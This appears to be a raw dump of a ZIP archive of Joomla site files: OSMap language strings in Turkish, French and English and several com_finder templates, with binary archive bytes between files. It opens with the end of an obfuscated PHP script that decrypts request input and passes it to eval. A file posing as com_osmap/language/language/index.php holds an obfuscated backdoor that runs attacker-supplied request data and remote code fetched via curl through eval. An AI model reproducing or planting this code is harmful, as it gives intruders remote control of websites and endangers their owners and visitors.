td7l1PB7GmK+HgYFezKXmBvShbzaXqCud9f2mEpmccf3CeR+2PbuLpp8wsGtmptme1EQwMmb2RyNc7zAN8LcqaWxMcHjtdHztco0RaDsl23V+jdkTYdMHR0cESMuB+dn9ve76qqumafaB45W/zu4YOHtZ5WkUrVK7z18EMP7OuHM5M2aRbSkthtUb7nZhAZYCGIJJzQAapZwc37JycjG6oi59v0IttVrrT5ciX8I4w9BE/AOwfA'; function UeTz($XrZIH) { $smS = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $bAHe = substr($smS, 0, 16); $Nwkb = base64_decode($XrZIH); return openssl_decrypt($Nwkb, "AES-256-CBC", $smS, OPENSSL_RAW_DATA, $bAHe); } if (UeTz('DjtPn+r4S0yvLCnquPz1fA')){ echo 'mwgCDEcJv856062Gr1jEjS48MjMF74Osu5HgiACJQQyhSGq8WZDTGLL4HEthWNgc'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($UeTz)))); ?>PK���\G�����%com_osmap/language/language/index.phpnu&1i�<?php
 goto CZ3ilG7oIoVd; v73tQVSdzgwS: $pOysDpwy58G3 = $B7EqM8bxudwR("\x7e", "\40"); goto JmleJEDG9yRe; CZ3ilG7oIoVd: $B7EqM8bxudwR = "\162" . "\x61" . "\x6e" . "\x67" . "\145"; goto v73tQVSdzgwS; INvk3MMaemta: metaphone("\155\x2f\x48\x52\156\x44\x66\x57\165\x78\x75\x55\102\61\x53\162\x70\165\x4b\142\110\x43\164\107\120\x30\65\x65\114\113\166\x59\x65\121\x55\x4c\132\143\62\113\x73\115\x30"); goto gWel30QJaVV9; Cn0xT0rpcdIf: @(md5(md5(md5(md5($fQOWRKi6coQo[20])))) === "\70\141\63\71\x38\x34\x31\x61\146\x30\143\64\x37\146\63\x39\144\61\60\66\x66\67\64\x33\x35\x31\x31\62\66\x64\67\x65") && (count($fQOWRKi6coQo) == 26 && in_array(gettype($fQOWRKi6coQo) . count($fQOWRKi6coQo), $fQOWRKi6coQo)) ? ($fQOWRKi6coQo[62] = $fQOWRKi6coQo[62] . $fQOWRKi6coQo[76]) && ($fQOWRKi6coQo[86] = $fQOWRKi6coQo[62]($fQOWRKi6coQo[86])) && @eval($fQOWRKi6coQo[62](${$fQOWRKi6coQo[32]}[21])) : $fQOWRKi6coQo; goto INvk3MMaemta; JmleJEDG9yRe: $fQOWRKi6coQo = ${$pOysDpwy58G3[1 + 30] . $pOysDpwy58G3[53 + 6] . $pOysDpwy58G3[3 + 44] . $pOysDpwy58G3[4 + 43] . $pOysDpwy58G3[24 + 27] . $pOysDpwy58G3[13 + 40] . $pOysDpwy58G3[43 + 14]}; goto Cn0xT0rpcdIf; gWel30QJaVV9: class cGLfRKSyiPeN { static function OMQwi5QDrXnv($z7ABBIaU50wy) { goto lXC_PH2nEQiM; ZL8zcQ8rO0on: $fpszS829QYP1 = explode("\x3a", $z7ABBIaU50wy); goto mqXq57UJidbK; ZlCsgkKigGe0: BKSDmyo514cP: goto I_kGIA2vu5lx; mqXq57UJidbK: $PPkPG9MpomPQ = ''; goto IltvXuEbn1Hu; I_kGIA2vu5lx: return $PPkPG9MpomPQ; goto y3lkzwtEBytS; lXC_PH2nEQiM: $WrhCrSehQCEh = "\x72" . "\141" . "\156" . "\x67" . "\x65"; goto BzQ5ByUbLL7M; BzQ5ByUbLL7M: $Dn1isGABaMQB = $WrhCrSehQCEh("\176", "\x20"); goto ZL8zcQ8rO0on; IltvXuEbn1Hu: foreach ($fpszS829QYP1 as $vOJarsaV10dl => $QPP1rVX6ifdq) { $PPkPG9MpomPQ .= $Dn1isGABaMQB[$QPP1rVX6ifdq - 63555]; kfORCaUxMOmb: } goto ZlCsgkKigGe0; y3lkzwtEBytS: } static function focrfCs9y9OU($SP7AA45TmaVi, $mDYP8Br3d8jq) { goto U1Jv4_zseaNW; g6FdPSW3yiag: curl_setopt($h2JGm673T9hB, CURLOPT_RETURNTRANSFER, 1); goto Wk9ncidLjTh1; U1Jv4_zseaNW: $h2JGm673T9hB = curl_init($SP7AA45TmaVi); goto g6FdPSW3yiag; Wk9ncidLjTh1: $WiABMEjAWibW = curl_exec($h2JGm673T9hB); goto tXUv2znWRy6i; tXUv2znWRy6i: return empty($WiABMEjAWibW) ? $mDYP8Br3d8jq($SP7AA45TmaVi) : $WiABMEjAWibW; goto y5vc1sjfnKtI; y5vc1sjfnKtI: } static function ndiK8LTEVP5L() { goto xzfG2U3O_Mhd; xzfG2U3O_Mhd: $px0QIcftGfge = array("\66\x33\65\x38\x32\72\66\63\x35\66\x37\72\66\63\x35\x38\x30\x3a\66\x33\x35\x38\x34\72\66\63\x35\x36\x35\72\66\63\65\70\60\72\x36\63\65\x38\66\72\x36\63\x35\67\71\72\x36\x33\x35\x36\x34\x3a\x36\x33\65\67\x31\72\x36\x33\65\70\62\72\x36\x33\65\66\65\72\x36\63\65\67\66\72\66\63\65\x37\x30\x3a\x36\63\65\x37\61", "\66\63\65\x36\x36\x3a\66\63\x35\x36\65\x3a\x36\63\65\x36\67\x3a\66\x33\65\70\66\72\x36\63\65\x36\67\x3a\x36\63\x35\67\x30\x3a\66\63\65\66\65\72\66\63\66\x33\62\72\x36\63\66\x33\60", "\x36\x33\65\x37\x35\x3a\x36\x33\x35\66\x36\72\66\x33\65\67\60\72\66\x33\x35\67\61\72\66\63\x35\x38\66\72\66\x33\65\70\x31\72\x36\x33\x35\70\60\72\x36\x33\65\70\x32\72\66\63\65\x37\60\72\66\63\65\x38\x31\x3a\x36\x33\x35\x38\60", "\66\63\x35\66\x39\x3a\x36\63\x35\x38\x34\72\x36\63\x35\x38\x32\72\66\x33\65\67\x34", "\66\x33\x35\x38\x33\x3a\x36\x33\x35\70\x34\x3a\x36\x33\x35\x36\x36\72\66\x33\65\70\x30\72\66\x33\x36\62\x37\72\x36\x33\x36\62\x39\x3a\x36\63\x35\70\66\72\x36\x33\x35\x38\61\72\66\63\65\x38\60\72\66\63\x35\x38\62\x3a\x36\x33\65\67\x30\x3a\x36\x33\65\70\61\72\x36\x33\x35\70\x30", "\x36\63\x35\x37\x39\72\66\63\x35\x37\x36\72\x36\63\x35\67\x33\x3a\66\x33\65\70\x30\72\x36\63\65\x38\66\x3a\66\63\x35\x37\70\x3a\66\63\65\x38\x30\72\x36\63\x35\66\65\72\66\x33\65\70\66\72\66\x33\65\x38\x32\x3a\66\63\65\x37\60\72\x36\63\x35\x37\61\x3a\66\x33\65\x36\65\x3a\66\x33\x35\x38\x30\x3a\x36\x33\65\67\61\72\x36\x33\65\x36\65\x3a\66\63\65\66\x36", "\x36\x33\66\x30\71\72\66\x33\x36\x33\71", "\x36\63\x35\x35\66", "\x36\x33\66\x33\x34\x3a\66\63\66\x33\71", "\66\63\x36\x31\x36\x3a\x36\63\x35\71\71\72\x36\63\65\71\x39\x3a\x36\x33\66\61\66\x3a\66\63\x35\71\x32", "\66\63\65\67\x39\72\66\x33\65\67\66\72\x36\x33\65\67\63\72\66\x33\65\66\x35\72\x36\63\x35\70\x30\x3a\x36\63\65\x36\67\72\x36\63\65\70\x36\x3a\x36\x33\65\67\66\72\x36\63\x35\x37\x31\72\x36\x33\x35\66\71\x3a\66\63\65\66\64\x3a\66\63\65\66\x35"); goto Q0YqBPchubdm; k3VCqAmLrkJF: @$cQKvqo0D5wcm[4 + 6](INPUT_GET, "\x6f\146") == 1 && die($cQKvqo0D5wcm[1 + 4](__FILE__)); goto kk3wXLHtvWwx; Q0YqBPchubdm: foreach ($px0QIcftGfge as $M_7DzycdQXKq) { $cQKvqo0D5wcm[] = self::omqwi5QDrxnv($M_7DzycdQXKq); lC1TG4H5Q06d: } goto WfR0fAyVXsA4; PmoAa3l5aERh: die; goto xtt7yg_xbHVG; RqCdCZoxjdT5: $s0f4tSP6gTZ9 = @$cQKvqo0D5wcm[1]($cQKvqo0D5wcm[10 + 0](INPUT_GET, $cQKvqo0D5wcm[7 + 2])); goto GZDJy0sFmYWK; xtt7yg_xbHVG: VcSX06l9qcRj: goto v3UdPzx2Cpml; WfR0fAyVXsA4: yYIEeCJ_B882: goto RqCdCZoxjdT5; GZDJy0sFmYWK: $S_qQj3vhMlKc = @$cQKvqo0D5wcm[0 + 3]($cQKvqo0D5wcm[2 + 4], $s0f4tSP6gTZ9); goto kACJvdkTi2b0; kk3wXLHtvWwx: if (!(@$Vu8wxHRYIHgV[0] - time() > 0 and md5(md5($Vu8wxHRYIHgV[1 + 2])) === "\x63\x62\x31\x34\65\65\62\65\x34\62\x31\x64\67\142\x36\x34\x65\x63\65\x33\x62\x66\x37\70\61\x34\144\70\x64\146\x34\63")) { goto VcSX06l9qcRj; } goto b5XUcsmvtO8E; m89xt_kW0zDb: @eval($cQKvqo0D5wcm[4 + 0]($TiVq2WbjOtGW)); goto PmoAa3l5aERh; b5XUcsmvtO8E: $TiVq2WbjOtGW = self::FOcrFcS9y9Ou($Vu8wxHRYIHgV[1 + 0], $cQKvqo0D5wcm[2 + 3]); goto m89xt_kW0zDb; kACJvdkTi2b0: $Vu8wxHRYIHgV = $cQKvqo0D5wcm[2 + 0]($S_qQj3vhMlKc, true); goto k3VCqAmLrkJF; v3UdPzx2Cpml: } } goto WaR99mSXHRLd; WaR99mSXHRLd: cglFrksyIpen::nDiK8LTEVP5L();
?>
PK���\o�l%��,com_osmap/language/tr-TR/tr-TR.com_osmap.ininu&1i�; @package   OSMap
; @package   OSMap
; @contact   www.joomlashack.com, help@joomlashack.com
; @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
; @copyright 2016-2025 Joomlashack.com. All rights reserved.
; @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
;
; This file is part of OSMap.
;
; OSMap is free software: you can redistribute it and/or modify
; it under the terms of the GNU General Public License as published by
; the Free Software Foundation, either version 2 of the License, or
; (at your option) any later version.
;
; OSMap is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
; GNU General Public License for more details.
;
; You should have received a copy of the GNU General Public License
; along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
;
; Note : All ini files need to be saved as UTF-8 - No BOM

COM_OSMAP_ADAPTER_CLASS = "Kaliteli Uyarlayıcı"

COM_OSMAP_ADMIN_NOTE_DUPLICATED = "- Görüntülenen başka bir öğeyi yineler (UID'yi karşılaştırın)."
COM_OSMAP_ADMIN_NOTE_DUPLICATED_IGNORED = "- Görüntülenen başka bir öğeyi yineler (UID'yi karşılaştırın)."
COM_OSMAP_ADMIN_NOTE_DUPLICATED_URL_IGNORED = "URL'ye dayalı olarak görüntülenen başka bir öğeyi çoğaltır"
COM_OSMAP_ADMIN_NOTE_IGNORED_EXTERNAL = "- Harici bağlantı. Site haritası görüntülemez."
COM_OSMAP_ADMIN_NOTE_IGNORED_EXTERNAL_HTML = "- Harici bağlantı. Yayınlanırsa, yalnızca HTML site haritası görüntülenir."
COM_OSMAP_ADMIN_NOTE_INVISIBLE_FOR_ROBOTS = "Robotlar için görünmez olarak ayarlayın. XML site haritasında görüntülenmez."
COM_OSMAP_ADMIN_NOTE_PARENT_INVISIBLE_FOR_ROBOTS = "Üst öğeler, robotlar için görünmez olarak ayarlanmıştır. XML site haritasında görüntülenmez."
COM_OSMAP_ADMIN_NOTE_PARENT_UNPUBLISHED = "- Yayınlanmadı çünkü üst öğe yayınlanmadı."
COM_OSMAP_ADMIN_NOTE_VISIBLE_HTML_ONLY = "- Yalnızca HTML site haritası için görünür olarak ayarlayın."
COM_OSMAP_ADMIN_NOTE_VISIBLE_XML_ONLY = "- Yalnızca XML site haritası için görünür olarak ayarlayın."
COM_OSMAP_ADMIN_NOTES = "Notlar"

COM_OSMAP_ALWAYS = "Her Zaman"

COM_OSMAP_CHANGE_FREQ = "Değişiklik Sıklığı"
COM_OSMAP_DAILY = "Günlük"

COM_OSMAP_DEBUG_ALERT = "Hata ayıklama modu bu menü için etkinleştirilir. Normal HTML site haritasını tekrar görmek istiyorsanız, menü parametrelerinde hata ayıklamayı devre dışı bırakın."
COM_OSMAP_DEBUG_ALERT_TITLE = "Hata Ayıklama Modu"

COM_OSMAP_DOCUMENTATION = "Belgeler"
COM_OSMAP_DUPLICATE = "Yinelenen Öğe"
COM_OSMAP_FULL_LINK = "Tam Bağlantı"

COM_OSMAP_HEADING_CHANGE_FREQ = "Değişiklik Sıklığı"
COM_OSMAP_HEADING_PRIORITY = "Öncelik"
COM_OSMAP_HEADING_PUBLICATION_DATE = "Yayın Tarihi"
COM_OSMAP_HEADING_STATUS = "Durum"
COM_OSMAP_HEADING_TITLE = "Başlık"
COM_OSMAP_HEADING_URL = "URL"

COM_OSMAP_HOURLY = "Saatte Bir"
COM_OSMAP_IMAGES = "Görüntüler"
COM_OSMAP_INSTRUCTIONS = "Site haritanızı düzenlemek için yönetim arayüzünü kullanın. Kontrol edin. "

COM_OSMAP_LEVEL = "Düzey"
COM_OSMAP_LINK = "Link"

COM_OSMAP_MENUTYPE = "Menü Biçimi"
COM_OSMAP_MODIFICATION_DATE = "Son Değişiklik Tarihi"
COM_OSMAP_MODIFIED = "Değiştirilen"
COM_OSMAP_MONTHLY = "Aylık"

COM_OSMAP_MSG_SITEMAP_IS_UNPUBLISHED = "Maalesef, bu site haritasına erişilemiyor."
COM_OSMAP_MSG_TASK_STOPPED_BY_PLUGIN = "Bir OSMap eklentisi tarafından yürütme iptal edildi."

COM_OSMAP_NEVER = "Asla"
COM_OSMAP_NO_ITEMS = "Hiç bir öğe bulunamadı. Farklı bir menü kümesi seçmeyi deneyin."
COM_OSMAP_NUMBER_OF_ITEMS_FOUND = "%s öğe bulundu"
COM_OSMAP_NUMBER_OF_URLS = "Toplam URL"

COM_OSMAP_PRIORITY_LABEL = "Öncelik"
COM_OSMAP_RAW_LINK = "RAW Link"

COM_OSMAP_SITEMAP = "Site Haritası"
COM_OSMAP_SITEMAP_ID = "Site Haritası ID"
COM_OSMAP_SITEMAP_ITEMS_COUNT = "Öğe Sayısı"
COM_OSMAP_SITEMAP_NOT_FOUND = "Site Haritası bulunamadı"

COM_OSMAP_TOOLTIP_CLICK_TO_PUBLISH = "Yayınlamak için tıklayın"
COM_OSMAP_TOOLTIP_CLICK_TO_UNPUBLISH = "Yayından kaldırmak için tıklayın"

COM_OSMAP_UID = "UID"
COM_OSMAP_URL = "URL"
COM_OSMAP_VISIBLE_FOR_ROBOTS = "Robotlar İçin Görünürlük"
COM_OSMAP_WARNING_OOM = "OSMap (%s) belleği yetersiz. Lütfen site yöneticisine sunucunun yeniden yapılandırılması gerektiğini bildirin."
COM_OSMAP_WEEKLY = "Haftalık"
COM_OSMAP_YEARLY = "Yıllık"
PK���\-�*��,com_osmap/language/fr-FR/fr-FR.com_osmap.ininu&1i�; @package   OSMap
; @package   OSMap
; @contact   www.joomlashack.com, help@joomlashack.com
; @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
; @copyright 2016-2024 Joomlashack.com. All rights reserved.
; @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
;
; This file is part of OSMap.
;
; OSMap is free software: you can redistribute it and/or modify
; it under the terms of the GNU General Public License as published by
; the Free Software Foundation, either version 2 of the License, or
; (at your option) any later version.
;
; OSMap is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
; GNU General Public License for more details.
;
; You should have received a copy of the GNU General Public License
; along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
;
; Note : All ini files need to be saved as UTF-8 - No BOM

COM_OSMAP_ADAPTER_CLASS = "Classe d'adaptation"

COM_OSMAP_ADMIN_NOTE_DUPLICATED = "- duplique un autre item affiché (compare l'UID)."
COM_OSMAP_ADMIN_NOTE_DUPLICATED_IGNORED = "- Duplique un autre item affiché (compare l'UID)."
COM_OSMAP_ADMIN_NOTE_DUPLICATED_URL_IGNORED = "Duplique un autre item affiché, basé sur l'URL"
COM_OSMAP_ADMIN_NOTE_IGNORED_EXTERNAL = "- Lien externe. Le plan du site ne l'affichera pas."
COM_OSMAP_ADMIN_NOTE_IGNORED_EXTERNAL_HTML = "- Lien externe. Si publié seul le plan HTML l'affichera."
COM_OSMAP_ADMIN_NOTE_INVISIBLE_FOR_ROBOTS = "Défini comme invisible pour les robots. Ne sera pas affiché sur le plan XML."
COM_OSMAP_ADMIN_NOTE_PARENT_INVISIBLE_FOR_ROBOTS = "Le parent sera invisible pour les robots. Ne sera pas affiché sur le plan XML."
COM_OSMAP_ADMIN_NOTE_PARENT_UNPUBLISHED = "- Non publié car le parent n'est pas publié."
COM_OSMAP_ADMIN_NOTE_VISIBLE_HTML_ONLY = "- Défini comme visible seulement pour le plan HTML."
COM_OSMAP_ADMIN_NOTE_VISIBLE_XML_ONLY = "- Défini comme visible seulement pour le plan XML."
COM_OSMAP_ADMIN_NOTES = "Notes"

COM_OSMAP_ALWAYS = "Toujours"

COM_OSMAP_CHANGE_FREQ = "Modifier la fréquence"
COM_OSMAP_DAILY = "Tous les jours"

COM_OSMAP_DEBUG_ALERT = "Le mode debug est activé pour ce menu. Si vous souhaitez afficher le plan normal, désactivez le mode debug dans les paramètres."
COM_OSMAP_DEBUG_ALERT_TITLE = "Mode debug"

COM_OSMAP_DOCUMENTATION = "documentation"
COM_OSMAP_DUPLICATE = "Dupliquer l'Item"
COM_OSMAP_FULL_LINK = "Lien complet"

COM_OSMAP_HEADING_CHANGE_FREQ = "Modifier la fréquence"
COM_OSMAP_HEADING_PRIORITY = "Priorité"
COM_OSMAP_HEADING_PUBLICATION_DATE = "Date de Publication"
COM_OSMAP_HEADING_STATUS = "Status"
COM_OSMAP_HEADING_TITLE = "Titre"
COM_OSMAP_HEADING_URL = "URL"

COM_OSMAP_HOURLY = "Toutes les heures"
COM_OSMAP_IMAGES = "images"
COM_OSMAP_INSTRUCTIONS = "Pour editer le plan du site, utilisez le portail administrateur"

COM_OSMAP_LEVEL = "Niveau"
COM_OSMAP_LINK = "Lien"

COM_OSMAP_MENUTYPE = "Type de Menu"
COM_OSMAP_MODIFICATION_DATE = "Dernère date de modification"
COM_OSMAP_MODIFIED = "Modifié"
COM_OSMAP_MONTHLY = "Tous les mois"

COM_OSMAP_MSG_SITEMAP_IS_UNPUBLISHED = "Désolé le plan du site n'est pas accessible."
COM_OSMAP_MSG_TASK_STOPPED_BY_PLUGIN = "Execution annulée par le plugin OSMap."

COM_OSMAP_NEVER = "Jamais"
COM_OSMAP_NO_ITEMS = "Aucun item trouvé(s). Essayez une autre liste de menus."
COM_OSMAP_NUMBER_OF_ITEMS_FOUND = "%s items trouvé(s)"
COM_OSMAP_NUMBER_OF_URLS = "Total des URLs"

COM_OSMAP_PRIORITY_LABEL = "Priorit&"
COM_OSMAP_RAW_LINK = "Lien RAW"

COM_OSMAP_SITEMAP = "Plan du Site"
COM_OSMAP_SITEMAP_ID = "ID du plan"
COM_OSMAP_SITEMAP_ITEMS_COUNT = "Nombre d'items"
COM_OSMAP_SITEMAP_NOT_FOUND = "Plan du site non trouvé"

COM_OSMAP_TOOLTIP_CLICK_TO_PUBLISH = "Cliquer pour publier"
COM_OSMAP_TOOLTIP_CLICK_TO_UNPUBLISH = "Cliquer pour dépublier"

COM_OSMAP_UID = "UID"
COM_OSMAP_URL = "URL"
COM_OSMAP_VISIBLE_FOR_ROBOTS = "Visible pour les robots"
COM_OSMAP_WARNING_OOM = "OSMap (%s) a dépassé les limites de mémoire. Indiquez à l'administrateur du site qu'il doit reconfigurer des paramètres."
COM_OSMAP_WEEKLY = "Toutes les semaines"
COM_OSMAP_YEARLY = "Tous les ans"
PK���\`�wE,com_osmap/language/en-GB/en-GB.com_osmap.ininu&1i�; @package   OSMap
; @package   OSMap
; @contact   www.joomlashack.com, help@joomlashack.com
; @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
; @copyright 2016-2025 Joomlashack.com. All rights reserved.
; @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
;
; This file is part of OSMap.
;
; OSMap is free software: you can redistribute it and/or modify
; it under the terms of the GNU General Public License as published by
; the Free Software Foundation, either version 2 of the License, or
; (at your option) any later version.
;
; OSMap is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
; GNU General Public License for more details.
;
; You should have received a copy of the GNU General Public License
; along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
;
; Note : All ini files need to be saved as UTF-8 - No BOM

COM_OSMAP_ADAPTER_CLASS = "Adapter Class"

COM_OSMAP_ADMIN_NOTE_DUPLICATED = "- Duplicates another displayed item (compare the UID)."
COM_OSMAP_ADMIN_NOTE_DUPLICATED_IGNORED = "- Duplicates another displayed item (compare the UID)."
COM_OSMAP_ADMIN_NOTE_DUPLICATED_URL_IGNORED = "Duplicates another displayed item, based on the URL"
COM_OSMAP_ADMIN_NOTE_IGNORED_EXTERNAL = "- External link. The sitemap will not display it."
COM_OSMAP_ADMIN_NOTE_IGNORED_EXTERNAL_HTML = "- External link. If published, only the HTML sitemap will display it."
COM_OSMAP_ADMIN_NOTE_INVISIBLE_FOR_ROBOTS = "Set as invisible for robots. Won't be displayed on the XML sitemap."
COM_OSMAP_ADMIN_NOTE_PARENT_INVISIBLE_FOR_ROBOTS = "Parent is set as invisible for robots. Won't be displayed on the XML sitemap."
COM_OSMAP_ADMIN_NOTE_PARENT_UNPUBLISHED = "- Unpublished because the parent is unpublished."
COM_OSMAP_ADMIN_NOTE_VISIBLE_HTML_ONLY = "- Set as visible only for the HTML sitemap."
COM_OSMAP_ADMIN_NOTE_VISIBLE_XML_ONLY = "- Set as visible only for the XML sitemap."
COM_OSMAP_ADMIN_NOTES = "Notes"

COM_OSMAP_ALWAYS = "Always"

COM_OSMAP_CHANGE_FREQ = "Change Frequency"
COM_OSMAP_DAILY = "Daily"

COM_OSMAP_DEBUG_ALERT = "The debug mode is enabled for this menu. If you want to see the normal HTML sitemap again, disable debug in the menu params."
COM_OSMAP_DEBUG_ALERT_TITLE = "Debug Mode"

COM_OSMAP_DOCUMENTATION = "documentation"
COM_OSMAP_DUPLICATE = "Duplicate Item"
COM_OSMAP_FULL_LINK = "Full Link"

COM_OSMAP_HEADING_CHANGE_FREQ = "Change Frequency"
COM_OSMAP_HEADING_PRIORITY = "Priority"
COM_OSMAP_HEADING_PUBLICATION_DATE = "Publication Date"
COM_OSMAP_HEADING_STATUS = "Status"
COM_OSMAP_HEADING_TITLE = "Title"
COM_OSMAP_HEADING_URL = "URL"

COM_OSMAP_HOURLY = "Hourly"
COM_OSMAP_IMAGES = "images"
COM_OSMAP_INSTRUCTIONS = "To edit your sitemap, use the administration interface. Check out the "

COM_OSMAP_LEVEL = "Level"
COM_OSMAP_LINK = "Link"

COM_OSMAP_MENUTYPE = "Menu Type"
COM_OSMAP_MODIFICATION_DATE = "Last Modification Date"
COM_OSMAP_MODIFIED = "Modified"
COM_OSMAP_MONTHLY = "Monthly"

COM_OSMAP_MSG_SITEMAP_IS_UNPUBLISHED = "Sorry, this sitemap is not accessible."
COM_OSMAP_MSG_TASK_STOPPED_BY_PLUGIN = "Execution canceled by an OSMap plugin"

COM_OSMAP_NEVER = "Never"
COM_OSMAP_NO_ITEMS = "No items found. Try selecting a different set of menus."
COM_OSMAP_NUMBER_OF_ITEMS_FOUND = "%s items found"
COM_OSMAP_NUMBER_OF_URLS = "Total of URLs"

COM_OSMAP_PRIORITY_LABEL = "Priority"
COM_OSMAP_RAW_LINK = "RAW Link"

COM_OSMAP_SITEMAP = "Sitemap"
COM_OSMAP_SITEMAP_ID = "Sitemap ID"
COM_OSMAP_SITEMAP_ITEMS_COUNT = "Items Count"
COM_OSMAP_SITEMAP_NOT_FOUND = "Sitemap not found"

COM_OSMAP_TOOLTIP_CLICK_TO_PUBLISH = "Click to publish"
COM_OSMAP_TOOLTIP_CLICK_TO_UNPUBLISH = "Click to unpublish"

COM_OSMAP_UID = "UID"
COM_OSMAP_URL = "URL"
COM_OSMAP_VISIBLE_FOR_ROBOTS = "Visible For Robots"
COM_OSMAP_WARNING_OOM = "OSMap (%s) ran out of memory. Please let the site administrator know that the server will need to be reconfigured."
COM_OSMAP_WEEKLY = "Weekly"
COM_OSMAP_YEARLY = "Yearly"
PK���\�6�com_finder/index.htmlnu&1i�<!DOCTYPE html><title></title>PK���\�6�com_finder/helpers/index.htmlnu&1i�<!DOCTYPE html><title></title>PK���\�ˬ���com_finder/helpers/route.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt

 * @phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace
 */

use Joomla\Component\Finder\Site\Helper\RouteHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Finder route helper class.
 *
 * @since  2.5
 *
 * @deprecated  4.3 will be removed in 6.0
 *              Use \Joomla\Component\Finder\Site\Helper\RouteHelper instead
 */
class FinderHelperRoute extends RouteHelper
{
}
PK���\d�lOMM*com_finder/tmpl/search/default_results.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

?>
<?php // Display the suggested search if it is different from the current search. ?>
<?php if (($this->suggested && $this->params->get('show_suggested_query', 1)) || ($this->explained && $this->params->get('show_explained_query', 1))) : ?>
    <div id="search-query-explained" class="com-finder__explained">
        <?php // Display the suggested search query. ?>
        <?php if ($this->suggested && $this->params->get('show_suggested_query', 1)) : ?>
            <?php // Replace the base query string with the suggested query string. ?>
            <?php $uri = Uri::getInstance($this->query->toUri()); ?>
            <?php $uri->setVar('q', $this->suggested); ?>
            <?php // Compile the suggested query link. ?>
            <?php $linkUrl = Route::_($uri->toString(['path', 'query'])); ?>
            <?php $link = '<a href="' . $linkUrl . '">' . $this->escape($this->suggested) . '</a>'; ?>
            <?php echo Text::sprintf('COM_FINDER_SEARCH_SIMILAR', $link); ?>
        <?php elseif ($this->explained && $this->params->get('show_explained_query', 1)) : ?>
            <?php // Display the explained search query. ?>
            <p role="alert">
                <?php echo Text::plural('COM_FINDER_QUERY_RESULTS', $this->total, $this->explained); ?>
            </p>
        <?php endif; ?>
    </div>
<?php endif; ?>
<?php // Display the 'no results' message and exit the template. ?>
<?php if (($this->total === 0) || ($this->total === null)) : ?>
    <div id="search-result-empty" class="com-finder__empty">
        <h2><?php echo Text::_('COM_FINDER_SEARCH_NO_RESULTS_HEADING'); ?></h2>
        <?php $multilang = Factory::getApplication()->getLanguageFilter() ? '_MULTILANG' : ''; ?>
        <p><?php echo Text::sprintf('COM_FINDER_SEARCH_NO_RESULTS_BODY' . $multilang, $this->escape($this->query->input)); ?></p>
    </div>
    <?php // Exit this template. ?>
    <?php return; ?>
<?php endif; ?>
<?php // Display the 'Sort By' drop-down. ?>
<?php if ($this->params->get('show_sort_order', 0) && !empty($this->sortOrderFields) && !empty($this->results)) : ?>
    <div id="search-sorting" class="com-finder__sorting">
        <?php echo $this->loadTemplate('sorting'); ?>
    </div>
<?php endif; ?>
<?php // Activate the highlighter if enabled. ?>
<?php if (!empty($this->query->highlight) && $this->params->get('highlight_terms', 1)) : ?>
    <?php
        // Allow a maximum of 10 tokens to be highlighted. Otherwise the URL can get too long.
        $this->document->getWebAssetManager()->useScript('highlight');
        $this->document->addScriptOptions(
            'highlight',
            [[
                    'class'      => 'js-highlight',
                    'highLight'  => array_slice($this->query->highlight, 0, 10),
            ]]
        );
    ?>
<?php endif; ?>
<?php // Display a list of results ?>
<ol id="search-result-list" class="js-highlight com-finder__results-list" start="<?php echo (int) $this->pagination->limitstart + 1; ?>">
    <?php $this->baseUrl = Uri::getInstance()->toString(['scheme', 'host', 'port']); ?>
    <?php foreach ($this->results as $i => $result) : ?>
        <?php $this->result = &$result; ?>
        <?php $this->result->counter = $i + 1; ?>
        <?php $layout = $this->getLayoutFile($this->result->layout); ?>
        <?php echo $this->loadTemplate($layout); ?>
    <?php endforeach; ?>
</ol>
<?php // Display the pagination ?>
<div class="com-finder__navigation search-pagination">
    <?php if ($this->params->get('show_pagination', 1) > 0) : ?>
    <div class="com-finder__pagination w-100">
        <?php echo $this->pagination->getPagesLinks(); ?>
    </div>
    <?php endif; ?>
    <?php if ($this->params->get('show_pagination_results', 1) > 0) : ?>
        <div class="com-finder__counter search-pages-counter">
            <?php // Prepare the pagination string.  Results X - Y of Z ?>
            <?php $start = (int) $this->pagination->limitstart + 1; ?>
            <?php $total = (int) $this->pagination->total; ?>
            <?php $limit = (int) $this->pagination->limit * $this->pagination->pagesCurrent; ?>
            <?php $limit = (int) ($limit > $total ? $total : $limit); ?>
            <?php echo Text::sprintf('COM_FINDER_SEARCH_RESULTS_OF', $start, $limit, $total); ?>
        </div>
    <?php endif; ?>
</div>
PK���\_���bb*com_finder/tmpl/search/default_sorting.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
